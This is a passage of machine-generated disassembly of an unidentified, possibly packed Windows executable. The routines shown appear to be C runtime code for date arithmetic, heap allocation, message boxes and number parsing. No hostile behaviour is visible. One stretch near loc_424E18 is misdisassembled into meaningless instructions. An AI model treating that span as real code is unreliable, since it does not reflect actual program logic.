; sub_4248AA+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424A0E: ; CODE XREF: sub_4248AA+144j
cmp ecx, eax
jl short loc_424A08
cmp ecx, edx
jg short loc_424A08
cmp ecx, eax
jle short loc_424A22
cmp ecx, edx
jl loc_4248B7
loc_424A22: ; CODE XREF: sub_4248AA+158j
; sub_4248AA+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424A49
xor ecx, ecx
cmp eax, dword_442FB8
setnl cl
loc_424A45: ; CODE XREF: sub_4248AA+1AAj
mov eax, ecx
jmp short loc_424A0A
; ---------------------------------------------------------------------------
loc_424A49: ; CODE XREF: sub_4248AA+18Ej
xor ecx, ecx
cmp eax, dword_442FC8
setl cl
jmp short loc_424A45
sub_4248AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A56 proc near ; CODE XREF: sub_4248AA+99p
; sub_4248AA+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424AF1
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424A81
shl esi, 2
mov eax, dword_442FC8[esi]
jmp short loc_424A8A
; ---------------------------------------------------------------------------
loc_424A81: ; CODE XREF: sub_424A56+1Ej
shl esi, 2
mov eax, dword_442FFC[esi]
loc_424A8A: ; CODE XREF: sub_424A56+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_424AC4
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424ACE
; ---------------------------------------------------------------------------
loc_424AC4: ; CODE XREF: sub_424A56+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424ACE: ; CODE XREF: sub_424A56+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424B0C
cmp [ebp+arg_8], 0
jnz short loc_424AE2
mov esi, dword_442FCC[esi]
jmp short loc_424AE8
; ---------------------------------------------------------------------------
loc_424AE2: ; CODE XREF: sub_424A56+82j
mov esi, dword_443000[esi]
loc_424AE8: ; CODE XREF: sub_424A56+8Aj
cmp ecx, esi
jle short loc_424B0C
sub ecx, 7
jmp short loc_424B0C
; ---------------------------------------------------------------------------
loc_424AF1: ; CODE XREF: sub_424A56+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424B02
mov ecx, dword_442FC8[eax*4]
jmp short loc_424B09
; ---------------------------------------------------------------------------
loc_424B02: ; CODE XREF: sub_424A56+A1j
mov ecx, dword_442FFC[eax*4]
loc_424B09: ; CODE XREF: sub_424A56+AAj
add ecx, [ebp+arg_18]
loc_424B0C: ; CODE XREF: sub_424A56+7Cj
; sub_424A56+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424B3D
mov eax, [ebp+arg_1C]
mov dword_442FB4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_442FB0, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_442FB8, eax
jmp short loc_424B92
; ---------------------------------------------------------------------------
loc_424B3D: ; CODE XREF: sub_424A56+BAj
mov eax, [ebp+arg_1C]
mov dword_442FC4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_442F20
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_442FC8, eax
jns short loc_424B75
add eax, 5265C00h
dec ecx
mov dword_442FC8, eax
jmp short loc_424B86
; ---------------------------------------------------------------------------
loc_424B75: ; CODE XREF: sub_424A56+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424B8C
sub eax, edx
inc ecx
mov dword_442FC8, eax
loc_424B86: ; CODE XREF: sub_424A56+11Dj
mov dword_442FC4, ecx
loc_424B8C: ; CODE XREF: sub_424A56+126j
mov dword_442FC0, ebx
loc_424B92: ; CODE XREF: sub_424A56+E5j
pop esi
pop ebx
pop ebp
retn
sub_424A56 endp
; =============== S U B R O U T I N E =======================================
sub_424B96 proc near ; CODE XREF: sub_422563+22p
; sub_422563+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_424BB6
test esi, esi
jnz short loc_424BB0
push 1
pop esi
loc_424BB0: ; CODE XREF: sub_424B96+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424BB6: ; CODE XREF: sub_424B96+11j
; sub_424B96+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424BE7
cmp ebx, dword_44255C
ja short loc_424BD2
push ebx
call sub_41E6FD
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424BFD
loc_424BD2: ; CODE XREF: sub_424B96+2Dj
push esi
push 8
push dword_4E2B80
call dword_427148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_424C09
loc_424BE7: ; CODE XREF: sub_424B96+25j
cmp dword_4E1578, 0
jz short loc_424C09
push esi
call sub_41F177
test eax, eax
pop ecx
jz short loc_424C0F
jmp short loc_424BB6
; ---------------------------------------------------------------------------
loc_424BFD: ; CODE XREF: sub_424B96+3Aj
push ebx
push 0
push edi
call sub_41BC40
add esp, 0Ch
loc_424C09: ; CODE XREF: sub_424B96+4Fj
; sub_424B96+58j
mov eax, edi
loc_424C0B: ; CODE XREF: sub_424B96+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424C0F: ; CODE XREF: sub_424B96+63j
xor eax, eax
jmp short loc_424C0B
sub_424B96 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422608
loc_424C13: ; CODE XREF: sub_422608+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4E2940, esi
jle short loc_424C66
loc_424C22: ; CODE XREF: sub_422608+265Cj
mov eax, dword_4E1924
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424C5D
test byte ptr [eax+0Ch], 83h
jz short loc_424C41
push eax
call sub_41B90B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424C41
inc edi
loc_424C41: ; CODE XREF: sub_422608+262Aj
; sub_422608+2636j
cmp esi, 14h
jl short loc_424C5D
mov eax, dword_4E1924
push dword ptr [eax+esi*4]
call sub_41B961
mov eax, dword_4E1924
pop ecx
and dword ptr [eax+esi*4], 0
loc_424C5D: ; CODE XREF: sub_422608+2624j
; sub_422608+263Cj
inc esi
cmp esi, dword_4E2940
jl short loc_424C22
loc_424C66: ; CODE XREF: sub_422608+2618j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_422608
; =============== S U B R O U T I N E =======================================
sub_424C6B proc near ; CODE XREF: .nsp0:00422DB9p
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424C7C
add esp, 0Ch
retn
sub_424C6B endp
; =============== S U B R O U T I N E =======================================
sub_424C7C proc near ; CODE XREF: sub_424C6B+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4E2A61[eax], cl
jnz short loc_424CA9
cmp [esp+arg_4], 0
jz short loc_424CA2
movzx eax, word_44256A[eax*2]
and eax, [esp+arg_4]
jmp short loc_424CA4
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424C7C+16j
xor eax, eax
loc_424CA4: ; CODE XREF: sub_424C7C+24j
test eax, eax
jnz short loc_424CA9
retn
; ---------------------------------------------------------------------------
loc_424CA9: ; CODE XREF: sub_424C7C+Fj
; sub_424C7C+2Aj
push 1
pop eax
retn
sub_424C7C endp
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4E17DC, ebx
push esi
push edi
jnz short loc_424CFC
push offset aUser32_dll ; "user32.dll"
call dword_4270B8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_424D32
mov esi, dword_4270BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; dword_4270BC
test eax, eax
mov dword_4E17DC, eax
jz short loc_424D32
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; dword_4270BC
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4E17E0, eax
call esi ; dword_4270BC
mov dword_4E17E4, eax
loc_424CFC: ; CODE XREF: .nsp0:00424CB8j
mov eax, dword_4E17E0
test eax, eax
jz short loc_424D1B
call eax ; dword_4E17E0
mov ebx, eax
test ebx, ebx
jz short loc_424D1B
mov eax, dword_4E17E4
test eax, eax
jz short loc_424D1B
push ebx
call eax ; dword_4E17E4
mov ebx, eax
loc_424D1B: ; CODE XREF: .nsp0:00424D03j
; .nsp0:00424D0Bj ...
push dword ptr [esp+18h]
push dword ptr [esp+18h]
push dword ptr [esp+18h]
push ebx
call dword_4E17DC ; MessageBoxA
loc_424D2E: ; CODE XREF: .nsp0:00424D34j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424D32: ; CODE XREF: .nsp0:00424CC9j
; .nsp0:00424CE0j
xor eax, eax
jmp short loc_424D2E
; ---------------------------------------------------------------------------
loc_424D36: ; CODE XREF: sub_423896+271p
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C1D0
push ebx
mov ebx, [ebp+8]
push esi
xor esi, esi
cmp ebx, dword_4E1920
jnb loc_424E6B
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4E1820[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_424E6B
push 1
push esi
push ebx
call sub_42261C
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_424E75
push 2
push esi
push ebx
call sub_42261C
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_424E75
push edi
mov edi, [ebp+0Ch]
sub edi, eax
test edi, edi
jle short loc_424E18
push 1000h
lea eax, [ebp-1000h]
push esi
push eax
call sub_41BC40
push 8000h
push ebx
call sub_425970
add esp, 14h
mov [ebp+0Ch], eax
loc_424DCC: ; CODE XREF: .nsp0:00424DF3j
mov eax, 1000h
cmp edi, eax
jge short loc_424DD7
mov eax, edi
loc_424DD7: ; CODE XREF: .nsp0:00424DD3j
push eax
lea eax, [ebp-1000h]
push eax
push ebx
call sub_42280E
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424DF5
sub edi, eax
test edi, edi
jle short loc_424E0B
jmp short loc_424DCC
; ---------------------------------------------------------------------------
loc_424DF5: ; CODE XREF: .nsp0:00424DEBj
cmp dword_4E14FC, 5
jnz short loc_424E08
mov dword_4E14F8, 0Dh
loc_424E08: ; CODE XREF: .nsp0:00424DFCj
or esi, 0FFFFFFFFh
loc_424E0B: ; CODE XREF: .nsp0:00424DF1j
push dword ptr [ebp+0Ch]
push ebx
call sub_425970
pop ecx
pop ecx
jmp short loc_424E58
; ---------------------------------------------------------------------------
loc_424E18: ; CODE XREF: .nsp0:00424DA7j
jge short loc_424E58
push 0
push dword ptr [ebp+0Ch]
push ebx
call sub_42261C
push ebx
call sub_4237BE
add esp, 10h
push eax
call near ptr 0B40000h
sub [ebx+1BDEF7F0h], cl
div bh
fimul word ptr [esi-7Dh]
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
push dword ptr [ebp+15h]
mov dword_4E14F8, 0Dh
call dword_42708C ; RtlGetLastWin32Error
mov dword_4E14FC, eax
loc_424E58: ; CODE XREF: .nsp0:00424E16j
; .nsp0:loc_424E18j
push 0
push dword ptr [ebp+8]
push ebx
call sub_42261C
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_424E78
; ---------------------------------------------------------------------------
loc_424E6B: ; CODE XREF: .nsp0:00424D50j
; .nsp0:00424D6Cj
mov dword_4E14F8, 9
loc_424E75: ; CODE XREF: .nsp0:00424D84j
; .nsp0:00424D99j
or eax, 0FFFFFFFFh
loc_424E78: ; CODE XREF: .nsp0:00424E69j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_424E7C proc near ; CODE XREF: sub_42402F+2Bp
; sub_42402F+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_424E92
cmp ecx, esi
jnb short loc_424E95
loc_424E92: ; CODE XREF: sub_424E7C+10j
push 1
pop eax
loc_424E95: ; CODE XREF: sub_424E7C+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_424E7C endp
; =============== S U B R O U T I N E =======================================
sub_424E9D proc near ; CODE XREF: sub_424F56+40p
; sub_424F56+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_424E7C
add esp, 0Ch
test eax, eax
jz short loc_424ECF
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_424E7C
add esp, 0Ch
test eax, eax
jz short loc_424ECF
inc dword ptr [esi+8]
loc_424ECF: ; CODE XREF: sub_424E9D+19j
; sub_424E9D+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_424E7C
add esp, 0Ch
test eax, eax
jz short loc_424EE7
inc dword ptr [esi+8]
loc_424EE7: ; CODE XREF: sub_424E9D+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_424E7C
add esp, 0Ch
pop edi
pop esi
retn
sub_424E9D endp
; =============== S U B R O U T I N E =======================================
sub_424EFB proc near ; CODE XREF: sub_424F56+30p
; sub_424F56+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_424EFB endp
; =============== S U B R O U T I N E =======================================
sub_424F29 proc near ; CODE XREF: sub_4254EE+1C8p
; sub_4259E6+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_424F29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F56 proc near ; CODE XREF: sub_42501D+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_424FCA
push edi
mov [ebp+arg_8], eax
loc_424F7D: ; CODE XREF: sub_424F56+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_424EFB
push ebx
call sub_424EFB
lea eax, [ebp+var_10]
push eax
push ebx
call sub_424E9D
push ebx
call sub_424EFB
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_424E9D
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_424F7D
xor edx, edx
pop edi
loc_424FCA: ; CODE XREF: sub_424F56+21j
; sub_424F56+9Fj
cmp [ebx+8], edx
jnz short loc_424FF7
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_424FCA
; ---------------------------------------------------------------------------
loc_424FF7: ; CODE XREF: sub_424F56+77j
mov esi, 8000h
loc_424FFC: ; CODE XREF: sub_424F56+B9j
test [ebx+8], esi
jnz short loc_425011
push ebx
call sub_424EFB
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_424FFC
; ---------------------------------------------------------------------------
loc_425011: ; CODE XREF: sub_424F56+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_424F56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42501D proc near ; CODE XREF: sub_424378+17p
; sub_4243A5+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_425058: ; CODE XREF: sub_42501D+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_42506E
cmp cl, 9
jz short loc_42506E
cmp cl, 0Ah
jz short loc_42506E
cmp cl, 0Dh
jnz short loc_425071
loc_42506E: ; CODE XREF: sub_42501D+40j
; sub_42501D+45j ...
inc edi
jmp short loc_425058
; ---------------------------------------------------------------------------
loc_425071: ; CODE XREF: sub_42501D+4Fj
push 4
pop esi
loc_425074: ; CODE XREF: sub_42501D+AEj
; sub_42501D+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4252F7 ; default
; jumptable 00425080 case 10
jmp off_4254BE[eax*4] ; switch jump
loc_425087: ; DATA XREF: .nsp0:off_4254BEo
cmp bl, 31h ; jumptable 00425080 case 0
jl short loc_425098
cmp bl, 39h
jg short loc_425098
loc_425091: ; CODE XREF: sub_42501D+C4j
; sub_42501D+118j
push 3
jmp loc_4252B5
; ---------------------------------------------------------------------------
loc_425098: ; CODE XREF: sub_42501D+6Dj
; sub_42501D+72j
cmp bl, byte_442770
jnz short loc_4250A7
loc_4250A0: ; CODE XREF: sub_42501D+124j
push 5
jmp loc_4252ED
; ---------------------------------------------------------------------------
loc_4250A7: ; CODE XREF: sub_42501D+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4250CD
dec eax
dec eax
jz short loc_4250C1
sub eax, 3
jnz loc_425390
jmp loc_425150
; ---------------------------------------------------------------------------
loc_4250C1: ; CODE XREF: sub_42501D+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425074
; ---------------------------------------------------------------------------
loc_4250CD: ; CODE XREF: sub_42501D+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425074
; ---------------------------------------------------------------------------
loc_4250D6: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
cmp bl, 31h ; jumptable 00425080 case 1
mov [ebp+var_10], edx
jl short loc_4250E3
cmp bl, 39h
jle short loc_425091
loc_4250E3: ; CODE XREF: sub_42501D+BFj
cmp bl, byte_442770
jz loc_4251AB
cmp bl, 2Bh
jz short loc_425125
cmp bl, 2Dh
jz short loc_425125
cmp bl, 30h
jz short loc_425150
loc_4250FE: ; CODE XREF: sub_42501D+207j
cmp bl, 43h
jle loc_425390
cmp bl, 45h
jle short loc_42511E
cmp bl, 63h
jle loc_425390
cmp bl, 65h
jg loc_425390
loc_42511E: ; CODE XREF: sub_42501D+EDj
push 6
jmp loc_4252ED
; ---------------------------------------------------------------------------
loc_425125: ; CODE XREF: sub_42501D+D5j
; sub_42501D+DAj ...
dec edi
push 0Bh
jmp loc_4252ED
; ---------------------------------------------------------------------------
loc_42512D: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
cmp bl, 31h ; jumptable 00425080 case 2
jl short loc_42513B
cmp bl, 39h
jle loc_425091
loc_42513B: ; CODE XREF: sub_42501D+113j
cmp bl, byte_442770
jz loc_4250A0
cmp bl, 30h
jnz loc_425305
loc_425150: ; CODE XREF: sub_42501D+9Fj
; sub_42501D+DFj
mov eax, edx
jmp loc_425074
; ---------------------------------------------------------------------------
loc_425157: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
mov [ebp+var_10], edx ; jumptable 00425080 case 3
loc_42515A: ; CODE XREF: sub_42501D+184j
cmp dword_44276C, edx
jle short loc_425173
movzx eax, bl
push esi
push eax
call sub_41F37A
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425181
; ---------------------------------------------------------------------------
loc_425173: ; CODE XREF: sub_42501D+143j
mov ecx, off_442560
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425181: ; CODE XREF: sub_42501D+154j
test eax, eax
jz short loc_4251A3
cmp [ebp+var_4], 19h
jnb short loc_42519B
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_42519E
; ---------------------------------------------------------------------------
loc_42519B: ; CODE XREF: sub_42501D+16Cj
inc [ebp+var_8]
loc_42519E: ; CODE XREF: sub_42501D+17Cj
mov bl, [edi]
inc edi
jmp short loc_42515A
; ---------------------------------------------------------------------------
loc_4251A3: ; CODE XREF: sub_42501D+166j
cmp bl, byte_442770
jnz short loc_425212
loc_4251AB: ; CODE XREF: sub_42501D+CCj
mov eax, esi
jmp loc_425074
; ---------------------------------------------------------------------------
loc_4251B2: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
cmp [ebp+var_4], 0 ; jumptable 00425080 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_4251CB
loc_4251BE: ; CODE XREF: sub_42501D+1ACj
cmp bl, 30h
jnz short loc_4251CB
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_4251BE
; ---------------------------------------------------------------------------
loc_4251CB: ; CODE XREF: sub_42501D+19Fj
; sub_42501D+1A4j ...
cmp dword_44276C, edx
jle short loc_4251E4
movzx eax, bl
push esi
push eax
call sub_41F37A
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4251F2
; ---------------------------------------------------------------------------
loc_4251E4: ; CODE XREF: sub_42501D+1B4j
mov ecx, off_442560
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4251F2: ; CODE XREF: sub_42501D+1C5j
test eax, eax
jz short loc_425212
cmp [ebp+var_4], 19h
jnb short loc_42520D
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_42520D: ; CODE XREF: sub_42501D+1DDj
mov bl, [edi]
inc edi
jmp short loc_4251CB
; ---------------------------------------------------------------------------
loc_425212: ; CODE XREF: sub_42501D+18Cj
; sub_42501D+1D7j
cmp bl, 2Bh
jz loc_425125
cmp bl, 2Dh
jz loc_425125
jmp loc_4250FE
; ---------------------------------------------------------------------------
loc_425229: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
cmp dword_44276C, edx ; jumptable 00425080 case 5
mov [ebp+var_24], edx
jle short loc_425245
movzx eax, bl
push esi
push eax
call sub_41F37A
pop ecx
pop ecx
push 1
loc_425242: ; DATA XREF: .nsp0:0044041Co
pop edx
jmp short loc_425253
; ---------------------------------------------------------------------------
loc_425245: ; CODE XREF: sub_42501D+215j
mov ecx, off_442560
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425253: ; CODE XREF: sub_42501D+226j
test eax, eax
jz loc_425305
mov eax, esi
jmp short loc_4252B6
; ---------------------------------------------------------------------------
loc_42525F: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
lea ecx, [edi-2] ; jumptable 00425080 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_42526F
cmp bl, 39h
jle short loc_4252B3
loc_42526F: ; CODE XREF: sub_42501D+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4252EB
dec eax
dec eax
jz short loc_4252DF
sub eax, 3
jnz loc_425393
loc_425284: ; CODE XREF: sub_42501D+2A4j
push 8
jmp short loc_4252ED
; ---------------------------------------------------------------------------
loc_425288: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
mov [ebp+var_20], edx ; jumptable 00425080 case 8
loc_42528B: ; CODE XREF: sub_42501D+276j
cmp bl, 30h
jnz short loc_425295
mov bl, [edi]
inc edi
jmp short loc_42528B
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_42501D+271j
cmp bl, 31h
jl loc_425390
cmp bl, 39h
jg loc_425390
jmp short loc_4252B3
; ---------------------------------------------------------------------------
loc_4252A9: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
cmp bl, 31h ; jumptable 00425080 case 7
jl short loc_4252BC
cmp bl, 39h
jg short loc_4252BC
loc_4252B3: ; CODE XREF: sub_42501D+250j
; sub_42501D+28Aj
push 9
loc_4252B5: ; CODE XREF: sub_42501D+76j
pop eax
loc_4252B6: ; CODE XREF: sub_42501D+240j
dec edi
jmp loc_425074
; ---------------------------------------------------------------------------
loc_4252BC: ; CODE XREF: sub_42501D+28Fj
; sub_42501D+294j
cmp bl, 30h
jnz short loc_425305
jmp short loc_425284
; ---------------------------------------------------------------------------
loc_4252C3: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
cmp [ebp+arg_18], 0 ; jumptable 00425080 case 11
jz short loc_4252F3
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4252EB
dec eax
dec eax
jnz loc_425393
loc_4252DF: ; CODE XREF: sub_42501D+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425074
; ---------------------------------------------------------------------------
loc_4252EB: ; CODE XREF: sub_42501D+258j
; sub_42501D+2B8j
push 7
loc_4252ED: ; CODE XREF: sub_42501D+85j
; sub_42501D+103j ...
pop eax
jmp loc_425074
; ---------------------------------------------------------------------------
loc_4252F3: ; CODE XREF: sub_42501D+2AAj
push 0Ah
dec edi
pop eax
loc_4252F7: ; CODE XREF: sub_42501D+5Dj
; sub_42501D+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425080 case 10
jz loc_425395
jmp loc_425074
; ---------------------------------------------------------------------------
loc_425305: ; CODE XREF: sub_42501D+12Dj
; sub_42501D+238j ...
mov edi, [ebp+arg_8]
jmp loc_425395
; ---------------------------------------------------------------------------
loc_42530D: ; CODE XREF: sub_42501D+63j
; DATA XREF: .nsp0:off_4254BEo
mov [ebp+var_20], 1 ; jumptable 00425080 case 9
xor esi, esi
loc_425316: ; CODE XREF: sub_42501D+339j
cmp dword_44276C, 1
jle short loc_42532E
movzx eax, bl
push 4
push eax
call sub_41F37A
pop ecx
pop ecx
jmp short loc_42533D
; ---------------------------------------------------------------------------
loc_42532E: ; CODE XREF: sub_42501D+300j
mov ecx, off_442560
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42533D: ; CODE XREF: sub_42501D+30Fj
test eax, eax
jz short loc_42535D
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_425358
mov bl, [edi]
inc edi
jmp short loc_425316
; ---------------------------------------------------------------------------
loc_425358: ; CODE XREF: sub_42501D+334j
mov esi, 1451h
loc_42535D: ; CODE XREF: sub_42501D+322j
mov [ebp+var_1C], esi
